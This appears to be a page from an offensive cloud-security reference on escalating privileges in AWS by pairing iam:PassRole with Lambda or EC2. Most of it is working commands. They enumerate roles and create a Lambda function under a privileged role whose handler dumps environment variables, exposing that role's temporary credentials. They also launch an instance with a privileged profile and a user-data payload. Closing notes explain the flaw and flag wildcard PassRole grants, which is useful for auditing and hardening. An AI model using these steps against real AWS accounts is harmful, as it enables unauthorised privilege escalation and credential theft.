Exploit PassRole with a compute service

Become a more privileged role by handing it to a service that will run code as that role:

  1. Find roles the identity may pass, and services it may create work in

  2. Create the work, attach the role, and read what comes back

aws iam list-roles --query 'Roles[].RoleName'
aws iam get-role --role-name deployment-role

Example: a function that runs as somebody else

iam:PassRole alone changes nothing. Combined with permission to create a function, it runs arbitrary code under whatever role was passed.

cat > f.py <<'EOF'
import os, json
def handler(event, context):
    return json.dumps(dict(os.environ))
EOF
zip f.zip f.py

aws lambda create-function --function-name maintenance \
  --runtime python3.12 --handler f.handler \
  --role arn:aws:iam::123456789012:role/deployment-role \
  --zip-file fileb://f.zip

aws lambda invoke --function-name maintenance out.json

The same trade works through an instance, where the user data script runs on boot with the instance profile attached:

aws ec2 run-instances --image-id ami-0abcdef1234567890 \
  --instance-type t3.micro \
  --iam-instance-profile Name=deployment-profile \
  --user-data file://payload.sh

Notes

iam:PassRole exists so a developer can hand a role to a service without holding that role’s permissions themselves. The authorisation check asks whether the identity may pass the role, not what the role is able to do once it is passed.

The pairing is what escalates, so the interesting question is which service permissions sit alongside it. Functions, instances, container tasks, data pipelines and infrastructure deployment services each accept a role and each execute.

Where a policy grants iam:PassRole on Resource: "*", every role in the account is reachable by anyone who can create work of any of those kinds.